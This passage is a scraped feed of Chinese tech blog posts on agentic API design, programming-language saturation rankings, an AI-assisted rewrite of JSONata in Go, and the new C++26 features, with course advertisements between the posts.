-d \u0026#39;{ \u0026#34;action\u0026#34;: \u0026#34;SUMMARIZE\u0026#34;, \u0026#34;context_id\u0026#34;: \u0026#34;doc_9527\u0026#34;, \u0026#34;parameters\u0026#34;: { \u0026#34;max_length\u0026#34;: 50 } }\u0026#39; 你会得到一个标准化的、极易解析的响应：\n{ \u0026#34;status\u0026#34;: \u0026#34;SUCCESS\u0026#34;, \u0026#34;result\u0026#34;: \u0026#34;这是关于文档 doc_9527 的核心总结，长度被限制在 50 字以内：Agentic API 是未来的趋势。\u0026#34;, \u0026#34;message\u0026#34;: \u0026#34;Document summarized successfully\u0026#34; } 看出区别了吗？\n我们建立了一个统一的 /actions 门户。AI 只需要指明它想做什么（Action: SUMMARIZE），针对什么目标（ContextID: doc_9527），以及有何要求（Parameters）。\n后端完全掌控了路由分发、参数校验和复杂的业务实现。如果你明天需要增加一个“翻译”功能，对于 AI 来说，只是换了一个动词（TRANSLATE），它的交互模式（Schema）没有任何改变。这种一致性极大地降低了 AI 的试错成本和代码生成复杂度。\n专栏剧透：我们将如何系统性地驯服 AI 智能体？ 刚才的实战只是开胃菜。要让你的整个微服务集群、成百上千个接口都变成“Agent-Ready（AI 就绪）”，我们需要一套完整的架构方法论。\n这就引出了我们这个《Agentic API 实战：为 AI 智能体设计下一代接口》微专栏，以及后续的安排。\n在接下来的 5 讲中，我将摒弃那些空洞的 AI 概念，从一名后端架构师的视角出发，带你一步步把这套理念落地为真实的生产级能力。所有核心模式都会配备详实的 Go 语言可运行代码。\n以下是我们接下来的“作战路线图”：\n第 02 讲 | 重新定义动作：掌握 ACTION 接口分类法 我们会深入探讨 Agentic API 的“六大核心动词”（获取、计算、交易、集成、编排、通知）。你会学到如何彻底抛弃 CRUD 思维，用 AI 最容易理解的意图来重塑你的路由设计。\n第 03 讲 | 语义可发现性：让 AI 自己“读懂”你的系统能力 当你有 100 个接口时，把文档全部喂给 AI 是愚蠢且昂贵的。我们将用 Go 实现一个动态的 DISCOVER 端点，让 AI 能够像人类查字典一样，按需、动态地探索你系统的能力边界和前置条件。\n第 04 讲 | OpenAPI 进化：用 Agentic 扩展赋能机器阅读 我们不需要推翻现有的基础设施。这一讲，我将教你如何利用 OpenAPI (Swagger) 的 x- 自定义扩展机制，把“不可逆风险”、“副作用”等业务约束“藏”进标准文档里，让死文档变成 AI 的“行动护栏”。\n第 05 讲 | 复杂任务编排：链式调用 (Chaining) 与测试模式 (Dry Run) 这是保证 AI 绝对安全的核心！当 AI 需要连续调用三个接口完成扣款时，如何在网络抖动中保全业务状态？我们将设计基于后端的链式调用，并引入价值连城的“Dry Run（安全演习）”模式，把 AI 犯错的成本降到最低。\n第 06 讲 | 演进与落地：如何将现有系统平滑升级为 Agentic API？ 现实是骨感的，你的公司里堆满了 5 年前写的陈旧 REST 接口。大结局中，我将演示一种优雅的“代理与适配器（Proxy \u0026amp; Adapter）”架构，教你在不修改任何一行老代码的前提下，为遗留系统穿上“AI 外骨骼”。\n这是一次从思维方式到工程实现的全面升级。如果你准备好了迎接 AI 带来的自动化红利，并且希望成为团队里那个“最懂如何让机器调接口”的架构师，那么，请扫描下方二维码，紧跟我的步伐。\n本讲小结 今天，我们站在了一个新时代的起点。\n认知翻新： 传统的 RESTful API 围绕着“静态资源（名词）”展开，要求调用方（无论人还是机器）了解系统的内在状态流转。这在 AI 时代变成了沉重的认知负担，导致意图丢失、编排复杂、权限泛滥。 范式转移： Agentic API 提倡转向“任务驱动（动词）”。API 端点应该直接表达操作意图（如 SUMMARIZE, CANCEL_ORDER），由后端收敛复杂的业务编排和状态管理。 实战起航： 我们用 Go 构建了一个极简的动作分发网关，展示了如何用统一的结构（Action, Context, Parameters）来响应 AI 智能体的请求。 这仅仅是冰山一角。在接下来的专栏中，我们将深入探讨 Agentic API 的骨架：六大核心 ACTION 分类法。我们将学习如何让 AI 自动“发现”你的系统能力，如何通过扩展 OpenAPI 规范生成完美的智能体说明书，以及如何设计让 AI 执行复杂连锁任务的“沙盒测试模式”。\n世界正在不可逆转地走向自动化，懂 AI 调用的 API 架构师，将成为下个十年最稀缺的资源。我们下一讲见！\n本讲涉及的示例代码和脚本可以在这里下载。\n思考题 在你的日常开发中，有没有遇到过一个传统的 REST API（比如一个修改用户状态的 PUT 接口），它的内部逻辑其实非常复杂（包含了发邮件、写审计日志、调起其他微服务等操作）？\n如果让你用 Agentic API 的思维（动词驱动）重新设计这个接口的访问方式，你会怎么命名这个 Action？它的 Payload 结构会是什么样的？\n欢迎在评论区留下你的思考和设计，我会和你一起讨论。\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/04/03/agentic-api-in-action/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/agentic-api-in-action-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/04/03/agentic-api-in-action\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/04/03/agentic-api-in-action\"\u003ehttps://tonybai.com/2026/04/03/agentic-api-in-action\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在过去的十几年里，如果你问任何一位后端工程师：“我们应该如何设计 API？”得到的答案几乎是统一的：\u003cstrong\u003eRESTful\u003c/strong\u003e。\u003c/p\u003e","title":"REST 已老，AI 时代的智能体需要怎样的 API？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/04/02/2026-programming-language-saturation-rankings-go-rust-winners\n大家好，我是Tony Bai。\n在这个技术浪潮汹涌、AI 随时可能掀翻牌桌的时代，每一个程序员心中都悬着一个终极问题：\n“我现在的技术栈，还能吃几年饭？”\n我们每天都在焦虑地刷着各种技术文章，试图从 Google、Anthropic、OpenAI、Nvidia等的风向中，窥探下一个技术红利期。但这些信息往往零散、矛盾，甚至充满了各种培训机构的“幸存者偏差”。\n就在半个多月前，X 平台上的一位技术博主 Mojisola Alegbe，基于 Stack Overflow、GitHub Trends、JetBrains 等多方数据，整理并发布了一份极其残酷的私房版《2026 编程语言“饱和度”榜单》。\n这篇推文就像一颗深水炸弹，在短短几天内获得了 41.2 万的惊人阅读量。大批开发者涌入评论区，有人哀嚎，有人庆幸，有人愤怒，有人不屑。这张榜单之所以能引爆全网，因为它赤裸裸地揭示了我们这个行业最真实的“供需关系”和“内卷现状”。\n今天，我们就来深度扒开这张榜单背后的血泪与真相。看看你我手中的“锤子”，到底还能敲几年钉子。\n榜单冲击：你的技术栈，在鄙视链的哪一层？ 让我们先深吸一口气，看看这份令人心跳加速的榜单：\nJavaScript (66%): 极度饱和 (Extremely Saturated) Python (58%): 非常饱和 (Very Saturated) SQL (49%): 非常饱和 (Very Saturated) TypeScript (35-40%): 高度饱和，且仍在快速增长 Java (26%): 成熟/稳定饱和 C# (18%): 中度饱和 PHP (10-11%): 正在衰退，但仍很普遍 C++ (6-7%): 小众，但用于关键系统 Go (4-5%): 低饱和，需求增长中 Kotlin (4-5%): 中度小众 (安卓) Swift (2%): 小型但专业的生态系统 Rust (2-3%): 低饱和，但正在崛起 看完这张图，我猜很多人的第一反应是：\n前端/Python 工程师：完了，彻底“烂大街”了，明天就去送外卖。 Java 工程师：稳如老狗，任你风吹雨打，我自岿然不动。 Go/Rust 工程师：心中窃喜，果然选对了赛道，未来可期！ PHP 工程师：……（我 PHP 是最好的语言！） 但如果事情真的这么简单，那我们这个行业也未免太无趣了。这张榜单真正有价值的地方，在于它炸出了评论区里无数资深架构师和一线开发者的“人间清醒”。\n社区百态：饱和、内卷与“幸存者偏差” 在这张榜单的评论区，你可以看到整个技术圈最真实的生态缩影。\n阵营一：饱和焦虑派\n“完了，我刚想学编程，这可怎么办？”\n“怪不得现在工作这么难找……”\n阵营二：不屑一顾派\n“语言只是工具，解决问题才是关键。”\n“这种指标毫无意义。”\n阵营三：人间清醒派（重点看这里！）\n这部分评论，往往来自那些穿越了数个技术周期的老炮。他们的观点，破具含金量。\n一位开发者一针见血地指出：\n“语言的饱和度是个误导性指标。真正的问题不是有多少开发者懂它，而是有多少开发者能用它构建出真正有价值的系统。”\n另一位开发者则更加直接：\n“饱和度百分比毫无意义。重要的是：你能交付吗（Can you ship）？我只看三个信号：1. 真实的生产环境部署（而不是教程）；2. 系统设计的深度（而不只是 CRUD）；3. 在压力下调试复杂问题的能力。JavaScript 饱和度 66%？那又怎样，其中 90% 的人连一个可扩展的架构都设计不出来。”\n而一位博主，更是给出了顶级玩家的“搞钱思路”：\n“聪明的开发者从不追逐‘流行’的语言，他们追逐的是‘高价值’的行业\n– Python → AI\n– C++ → 高性能系统（游戏、金融）\n– Rust → 安全基础设施（区块链、操作系统）\n– Go → 云平台（K8s、Docker）\n追逐金钱，而不是追逐炒作（Follow the money, not the hype）。”\n架构师的破局之道：从“横向内卷”到“纵向深耕” 扒开社区的口水战，我们可以总结出三条极其宝贵的“反内卷”生存法则。\n第一条：停止在“语言层”的低水平竞争\n如果你是一个 Python 开发者，你的核心竞争力绝对不是“比别人多会几个 itertools 的函数”。\n评论区里的一条建议非常中肯：\n“不要只学 Python 的语法。去学它底层的 C++ 和 CUDA。这才是 2026 年 AI 热潮中真正值钱的地方。”\n同样的道理，如果你是一个前端开发者，让你在面试中脱颖而出的，绝不是多会几个 CSS 动画技巧，而是你对 V8 引擎的内存管理、对大规模前端项目的架构设计、对 WebAssembly 的底层原理的深刻理解。\n饱和的永远是“表层应用”，而“底层原理”的护城河，深不见底。\n第二条：将你的技术栈，锚定在高价值的“产业赛道”\n你选择的语言，决定了你的“工具”；而你选择的行业，决定了你“工具”的价值。\n如果你用 Go，但每天只是在写一些简单的 CRUD 业务，那你和用 PHP 的同行并没有本质区别。\n但如果你用 Go，去深耕 Kubernetes Operator 开发、去搞 Service Mesh、去做 eBPF 的底层监控，那你将进入一个截然不同的“高价值稀缺区”。\n对于大多数开发者来说，最好的策略不是去学一门全新的、不饱和的语言（比如 Zig 或 OCaml），而是在你现有的、最熟悉的语言生态里，找到那个与**“高利润、高壁垒”**行业结合最紧密的纵深方向，然后一头扎进去。\n第三条：从“语言专家”进化为“系统架构师”\n评论区里，有一个非常有趣的现象：初级开发者在讨论“哪个语言好”，而资深开发者在讨论“如何交付（Ship）”。\n当一个系统变得复杂时，瓶颈往往早已不在于某个语言的语法特性，而在于：\n你如何设计一套可观测的日志与监控体系？ 你如何在不同的微服务之间做好 API 的版本管理与兼容性？ 你如何设计数据库的 Schema，才能在未来两年内扛住 10 倍的流量增长？ 这些“跨语言”的系统设计能力，才是拉开普通程序员和架构师之间收入差距的根本原因。\n语言的红利期是短暂的，而架构的复利是终身的。\n小结：你的价值，由你定义 这张“饱和度”榜单，与其说是一份“死亡通知单”，不如说是一张“体检报告”。它提醒我们，如果你安于现状，只停留在语言的表层舒适区，那么无论你现在用的是 Go 还是 Python，你都随时可能被更便宜、更年轻的开发者所取代。别忘了还有不断“蚕食”初级甚至中高级程序员工作的AI！\n在这个充满不确定性的时代，真正的安全感，来源于：\n向下扎根，掌握技术栈的底层原理。 向高处走，将你的能力锚定在高价值的产业。 向外看，建立跨越语言鸿沟的系统架构思维。 不要再为“哪个语言是宇宙第一”而进行无意义的口水战了。\n你的价值，从来不是由你用什么语言决定的，而是由你能用这门语言，解决多大、多复杂、多有价值的问题决定的。\n资料链接：https://x.com/yehhmisi/status/2031715243622015239\n今日互动探讨：\n看完这份榜单，你对自己目前的技术栈感到了焦虑，还是庆幸？在你看来，一个语言的“饱和”是危机，还是意味着更成熟的生态和机会？\n欢迎在评论区分享你的看法！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/04/02/2026-programming-language-saturation-rankings-go-rust-winners/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/2026-programming-language-saturation-rankings-go-rust-winners-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/04/02/2026-programming-language-saturation-rankings-go-rust-winners\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/04/02/2026-programming-language-saturation-rankings-go-rust-winners\"\u003ehttps://tonybai.com/2026/04/02/2026-programming-language-saturation-rankings-go-rust-winners\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在这个技术浪潮汹涌、AI 随时可能掀翻牌桌的时代，每一个程序员心中都悬着一个终极问题：\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e“我现在的技术栈，还能吃几年饭？”\u003c/strong\u003e\u003c/p\u003e","title":"2026 编程语言“饱和度”榜单出炉：JavaScript/Python 已“烂大街”，Go/Rust 成最大赢家？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/04/01/rewrote-jsonata-in-golang-with-ai\n大家好，我是Tony Bai。\n过去的几年，我们见证了 AI 编程工具从“玩具”到“神器”的进化。无数开发者都在分享自己效率翻倍的喜悦。\n你有没有想过，用 AI 来完成一次“外科手术式”的精准重构，一天之内，就能帮你把公司每年烧掉的 50 万美元（约 360 万人民币）的服务器成本，直接砍到零？\n这听起来像天方夜谭，但它真实地发生了。\n就在前几天，以色列安全公司 Reco 的工程师 Nir Barak 发表了一篇极其硬核的博客。他详细复盘了自己是如何在一天之内，花费了仅仅 400 美元的 Token 费用，利用 AI 将一个用 JavaScript 编写的核心组件 JSONata，完美地重写为了纯 Go 版本，最终为公司节省了每年 50 万美元的开销，并带来了 1000 倍的性能提升。\n这不仅仅是一个“AI 真牛逼”的简单故事。它背后揭示的，是一套足以改变我们未来架构选型和技术债偿还方式的**“AI 驱动重构（AI-Driven Refactoring）”**实用方法。\n跨语言 RPC，微服务架构中最昂贵的“性能税” 要理解这次重构的意义有多么重大，首先得看看 Nir Barak 的团队曾经陷入了多深的泥潭。\n他们的核心业务是一个用 Go 编写的高性能数据管道，每天处理数十亿的事件。但其中有一个环节，需要用到一个名为 JSONata 的查询语言（你可以把它想象成带 Lambda 函数的 jq）来执行动态策略。\n尴尬的是，JSONata 的官方实现是 JavaScript 写的。\n这就导致了一个极其痛苦的架构：他们的主业务 Go 服务，为了执行这些规则，不得不去远程调用（RPC）一个专门部署在 Kubernetes 上的庞大的 Node.js 服务集群。\n这个“小小的”跨语言调用，给他们带来了三大噩梦：\n恐怖的成本：为了扛住流量，这个 jsonata-js 集群常年需要维持 300 多个 Pod 副本，光是这部分，每年就要烧掉 30 万美元的计算资源。 惊人的延迟：一次最简单的字段查找，比如 email = “admin@co.com”，在 Node.js 内部执行可能只需要几纳秒。但算上序列化、跨进程网络往返的开销，一次 RPC 调用在啥也没干之前，150 微秒的延迟就先进来了。对于一个每天处理几十亿事件的系统来说，这简直是灾难。 意想不到的运维黑洞：随着业务增长，Pod 数量一度多到耗尽了 Kubernetes 集群的 IP 地址分配上限！ Nir Barak 的团队当然也尝试过各种小修小补：优化表达式、加缓存、甚至用 CGO 把 V8 引擎直接嵌进 Go 里……但这些都只是“头痛医头”，无法根治“跨语言”这颗毒瘤。\nCloudflare 的“抄作业”哲学 转机发生在前几周。Nir Barak 看到了 Cloudflare 那篇刷爆全网的文章《我们如何用 AI 在一周内重构 Next.js》。\nCloudflare 的做法极其“暴力”且有效：他们没有让 AI 去创造新东西，而是把 Next.js 现成的spec，以及包含几千个 case 的官方测试套件（Test Suite）直接扔给大模型，然后对 AI 下达了一个简单粗暴的指令：\n“我不管你怎么实现，给我写一个能在 Vite 上跑通所有这些测试的 API 就行！”\nNir Barak 看到这里，瞬间被点醒了：“我们面临的问题一模一样！我们也有 jsonata-js 官方那套包含 1778 个测试用例的完整套件啊！”\n与其让 AI 去搞创新，不如把它变成一个任劳任怨、24 小时待命的“代码翻译工”！\n于是，他花了一个周末，用 AI 制定了一个极其清晰的“三步走”作战计划：\n第一步（人类智慧）：用 Go 语言把 jsonata-js 的测试套件先“翻译”过来。 第二步（AI 体力）：把 JSONata 2.x 的官方文档和规范全部喂给 AI。 第三步（测试驱动）：对 AI 下达指令：“开始写 Go 代码，目标是跑通第一步的所有测试用例。” 第二天，他按下了“开始键”。\n7 小时，400 美元，13000 行 Go 代码 接下来的故事，充满了令人肾上腺素飙升的极客快感。\nNir Barak 坐在电脑前，看着 AI Agent 像一台失控的缝纫机一样，疯狂地生成 Go 代码、运行测试、读取报错、然后自我修正。\n整个过程被划分成了几个“波次（Waves）”：先实现核心解析器，再实现内置函数，最后处理各种边缘 case。\n在 AI 与测试用例的左右互搏之下，仅仅 7 个小时 后，奇迹发生了：\n一个包含 13,000 多行纯 Go 代码的、名为 gnata 的全新 JSONata 实现诞生了。它完美通过了官方所有的 1778 个测试用例。\n而这整个过程的成本呢？\n400 美元的 Token 费用。\nNir Barak 在博客中晒出了一张截图，数据显示，在重构 gnata 的那一天，AI 生成的代码占比高达 91.7%！\n当他把这个 PR 提交到公司内部时，立刻有人质疑 ROI（投资回报率）。而他的回答简单粗暴：\n“上个月，jsonata-js 集群的成本是 2.5 万美元。现在，是 0。”\n百倍性能与意外之喜：“手术刀式”重构的深远影响 成本降为零已经足够震撼，但性能上的收益更是堪称“恐怖”。\n这还只是开始。由于 gnata 是纯 Go 实现，Nir Barak 团队得以进行更深度的“魔改”：他们设计了一套两层评估架构。对于简单的字段查找，gnata 直接在原始的 JSON 字节流上操作，实现了 零堆内存分配（Zero Heap Allocations）！只有遇到复杂表达式时，才会启动完整的解析器。\n在接下来的两周内，他们乘胜追击，用 gnata 的批量处理能力，替换掉了主数据管道中另一个极其臃肿、靠启动上万个 Goroutine 来并发处理规则的旧引擎。 结果：又省下了每年 20 万美元。\n短短两周，两次“外科手术式”的重构，总共为公司节省了每年 50 万美元的开销。\n最让人意想不到的是，这次重构还带来了组织层面的“意外之喜”：\ngnata 是公司内部第一个完全由 AI Agent 大规模参与生成的 PR。在 Code Review 的过程中，团队成员被迫去学习如何分辨“AI 真正发现的并发 Bug”和“AI 瞎操心的代码格式问题”。这次经历，为他们后续制定全公司的 AI Code Review 规范积累了宝贵的实战经验。\n小结：我们不再只是“氛围感编码” 在文章的结尾，Nir Barak 提到了 AI 大神 Andrej Karpathy 最近的观点，大意是：\n“编程正在变得面目全非。在底层，深厚的技术专长正成为比以往任何时候都更强大的‘乘数效应放大器’。”\nNir Barak 感慨道，直到最近，他自己都对那种完全由 AI Agent 生成代码的“氛围编码（Vibe coding）”持怀疑态度。但 2026 年 2 月，成为了一个连他这样固执的开发者都无法忽视的**“拐点”**。\ngnata 的诞生，标志着我们不再只是用 AI 去写一些无关紧要的玩具项目。在拥有明确测试用例和边界规范的前提下，AI 已经具备了对生产环境核心组件进行“手术刀式重构”的惊人能力。\n你准备好拿起这把名为“AI”的手术刀，去切掉你系统里那些最昂贵、最臃肿的“技术肿瘤”了吗？\n资料链接：https://www.reco.ai/blog/we-rewrote-jsonata-with-ai\n今日互动探讨：\n在你的公司里，是否存在类似的“异构技术栈”调用导致的性能瓶颈或成本黑洞？你有没有想过，可以用 AI + 测试用例的方式，对某个核心组件进行“代码翻译”式的重构？\n欢迎在评论区分享你的架构痛点与大胆构想！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/04/01/rewrote-jsonata-in-golang-with-ai/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/rewrote-jsonata-in-golang-with-ai-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/04/01/rewrote-jsonata-in-golang-with-ai\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/04/01/rewrote-jsonata-in-golang-with-ai\"\u003ehttps://tonybai.com/2026/04/01/rewrote-jsonata-in-golang-with-ai\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e过去的几年，我们见证了 AI 编程工具从“玩具”到“神器”的进化。无数开发者都在分享自己效率翻倍的喜悦。\u003c/p\u003e\n\u003cp\u003e你有没有想过，用 AI 来完成一次“外科手术式”的精准重构，一天之内，就能帮你把公司每年烧掉的 50 万美元（约 360 万人民币）的服务器成本，直接砍到零？\u003c/p\u003e","title":"一天重写 JSONata，我用 400 美元干掉了公司 50 万美元的 K8s 集群"},{"content":"\n本文永久链接 – https://tonybai.com/2026/03/31/go-minimalism-vs-cpp26-epic-new-features\n大家好，我是Tony Bai。\n在这个 Go、Zig 等“小而美”新语言颇受青睐的时代，如果你去技术社区里问一句：“C++ 这门语言怎么样？”\n你大概率会得到一堆充满戏谑的回答：“太复杂了，别学”、“从入门到放弃”、“面试造火箭，工作拧螺丝”。\nC++，这门诞生于上世纪 80 年代的编程语言，似乎早已被贴上了“老旧、臃肿、极其反人类”的标签。在很多新生代开发者眼里，它就像一头步履蹒跚的史前巨兽，理应被时代所淘汰。\n但就在前天（2026年3月29日），这头“史前巨兽”不仅没有倒下，反而亮出了它那足以撕裂天空的獠牙。\nC++ 标准委员会主席、C++ 界的“教父级”人物 Herb Sutter 亲自在博客上宣布：C++26 标准的技术工作，已正式完成！\nHerb Sutter 还用极其兴奋的口吻将其定义为**“自 C++11 以来最具冲击力的一次发布”**。而这次更新的核心，是四个被他称为“Fab Four”（神奇四侠）的史诗级新特性。\n当我耐着性子看完全部内容后，我脑子里只剩下四个字：叹为观止。\n当 Go 语言的开发者还在为“是否要给语言增加一个三元表达式”，或泛型方法而激烈辩论时，C++ 却反其道而行之，给自己又加装了四门“宇宙级”的重型武器。这到底是 C++ 吹响的绝地反击号角，还是压垮骆驼的最后一根稻草？\n今天，我们就来硬核扒开 C++26 这四大“金刚”，看看它们到底有多强，以及它们将如何影响将来程序员对编程语言的选择。\n第一门重炮：反射（Reflection）——“代码生成代码”的终极魔法 Herb Sutter 将反射放在了四大特性之首，并称之为“自模板（Templates）发明以来 C++ 最重要的升级”。\n什么是C++ 的反射？简单来说，就是让代码在编译期拥有了“自我审视”和“自我创造”的能力。\n在 C++26 之前，如果你想实现一个通用的 JSON 序列/反序列化库，你必须写大量重复的模板代码，或者用各种丑陋的宏来“欺骗”编译器。\n但在 C++26 中，你可以像这样写出充满“神性”的代码（代码示意）：\n这段代码，在编译的时候就能根据编译时的输入(test.json)自动分析JSON构造，并生成编译时用于计算的一个新类型。这在 Go 语言里，需要借助 reflect 包在运行时（Runtime）以牺牲性能为代价才能做到。而 C++，直接在静态编译期（Compile-time）零成本搞定了！\nHerb Sutter 将其形容为“C++ 的十年火箭引擎”。这意味着，未来 C++ 社区将涌现出无数极其强大、但又极其复杂的元编程（Metaprogramming）库。C++ 的学习曲线，将再次被拉到一个新的高度。\n第二道防线：内存安全（Memory Safety）——“只需重编，安全自来” 如果说反射让 C++ 的上限变得更加遥不可及，那么内存安全的提升，则是 C++ 在向 Go 和 Rust 的核心优势区发起的正面冲锋。\nC++ 常年被诟病的核心痛点是什么？内存不安全。悬垂指针、未初始化变量读取（导致未定义行为）……这些噩梦困扰了 C++ 程序员几十年。\nC++26 给出了一个极其诱人的承诺：你的老代码一行都不用改，只要用 C++26 模式重新编译，就能自动获得大幅度的安全提升！\n这主要来源于两个方面的改进：\n消灭未初始化变量的 UB：在 C++26 中，读取未初始化局部变量不再是“未定义行为（Undefined Behavior）”。这意味着困扰无数新手的、极其诡异的程序崩溃，将成为历史。 “加固”的标准库：Google 和 Apple 已经将它们内部经过“加固（Hardened）”的标准库实现贡献给了 C++26。这意味着，当你使用 std::vector, std::string 等容器时，大量的边界检查会自动开启。 Herb Sutter 引用了 Google 的内部数据：\n“仅在 Google，这项技术就已经修复了超过 1000 个 Bug，预计每年可以预防 1000 到 2000 个新 Bug 的产生，并将整个生产环境的段错误（Segfault）率降低了 30%。”\n这简直是在对 Go 说：“你用 GC 换来的那点可怜的安全性，我 C++ 现在也能做到了，而且依然是零成本的！”\n第三把利剑：契约（Contracts）——代码里的“法律条文” 如果你写过 Go，你一定对满屏的 if param == nil { return errors.New(…) } 感到厌烦。这种防御性编程，虽然有效，但极其啰嗦。\nC++26 正式引入了语言级的契约编程。\n你可以像签合同一样，为你的函数制定严格的法律条文：\n这些 pre 和 post 是编译器和运行时可以理解并强制执行的“法律”。如果调用者违反了前置条件，程序可以在开发阶段就立刻崩溃并给出明确的报错，而不是等到数据被污染后才在某个奇怪的地方爆炸。\n虽然 Go 社区也在讨论类似的泛型断言，但 C++26 已经先行一步，将其做成了语言标准。\n第四个引擎：std::execution——C++ 的“亲儿子”协程模型 在 C++20 中，虽然引入了 co_await 协程，但它只是一个语法糖，并没有提供一个统一的调度框架。\nC++26 终于补上了这块短板，正式推出了 std::execution，也被称为 Sender/Receiver 模型。\n这是一个极其强大、统一的异步模型框架。它让你能以一种声明式的方式，去描述、组合和调度复杂的并发任务流。\n下面是一段使用std::execution的代码示例：\n// This is an example of a custom algorithm for starting work // without allocations. This algorithm is also available in // \u0026lt;exec/start_now.hpp\u0026gt;. (Users that don\u0026#39;t write custom sender // algorithms will not need to use receivers or call connect // or start.) template \u0026lt;stdexec::sender_in\u0026lt;stdexec::empty_env\u0026gt; Sender\u0026gt; struct start_now { start_now(Sender sndr) : _op(stdexec::connect(std::move(sndr), _sink_rcvr())) { stdexec::start(_op); } private: // start_now is implemented in terms of this custom receiver, // which is used to discard Sender\u0026#39;s results. struct _sink_rcvr { using receiver_concept = stdexec::receiver_t; void set_value(auto\u0026amp;\u0026amp;...) noexcept {} void set_error(auto\u0026amp;\u0026amp;) noexcept {} void set_stopped() noexcept {} }; stdexec::connect_result_t\u0026lt;Sender, _sink_rcvr\u0026gt; _op; }; int main() { // A run loop is a fifo queue of work and a loop to execute the // work. It needs to be driven by calling its .run() member fn. stdexec::run_loop ctx; auto event_loop = ctx.get_scheduler(); // Create two tasks that cooperatively multitask. auto task1 = stdexec::just() | stdexec::then([]{ std::puts(\u0026#34;hello from task 1! suspending...\u0026#34;); }) | stdexec::continue_on(event_loop) // suspend | exec::repeat_n(5) | stdexec::then([]{ std::puts(\u0026#34;task 1 is done!\u0026#34;); }); auto task2 = stdexec::just() | stdexec::then([]{ std::puts(\u0026#34;hello from task 2! suspending...\u0026#34;); }) | stdexec::continue_on(event_loop) // suspend | exec::repeat_n(8) | stdexec::then([]{ std::puts(\u0026#34;task 2 is done!\u0026#34;); }); // Start both tasks. This enqueues them for execution on the run 